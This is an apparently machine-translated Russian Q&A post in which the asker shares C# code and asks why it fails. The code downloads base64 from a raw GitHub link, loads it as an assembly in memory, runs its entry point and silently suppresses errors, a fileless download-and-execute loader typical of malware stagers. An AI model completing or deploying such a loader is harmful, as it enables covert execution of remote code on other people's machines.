Расшифровка Base64 C# Не работает - PullRequest
0 голосов
/ 16 апреля 2020

Я тестирую скрипт powershell для загрузки и выполнения base64 из памяти, но по какой-то причине он не работает

Если я его выполняю, ничего не происходит, даже сообщение об ошибке

Сценарий вызывает Необработанный контент с raw.githubusercontent.com/… декодирует и запускает его из памяти

Код

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading;

namespace Invoker
{
    class Program
    {

        public static string Link = "Base64 Encoded Program Text Put Into a Raw Link";

        static void Main(string[] args)
        {
            Thread thread = new Thread(Execute);      
            thread.Start();                          
            Environment.Exit(0);
        }


        static void Execute()
        {
            byte[] bytes = Convert.FromBase64String(new WebClient().DownloadString(Link));
            if (bytes.Length > 0)
            {
                try
                {
                    Assembly assembly = Assembly.Load(bytes);
                    object[] paramData = null;
                    if (assembly.EntryPoint.GetParameters().Length > 0)
                        paramData = new object[] { new string[] { null } };
                    MethodInfo info = assembly.EntryPoint;
                    assembly.EntryPoint.Invoke(assembly.CreateInstance(info.Name), paramData);
                }
                catch { } .
            }
        }
    }
}

Программа, которую я тестирую, - замазка, но я хотел бы использовать ее с любой программой.

Что мне здесь не хватает?

Спасибо

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...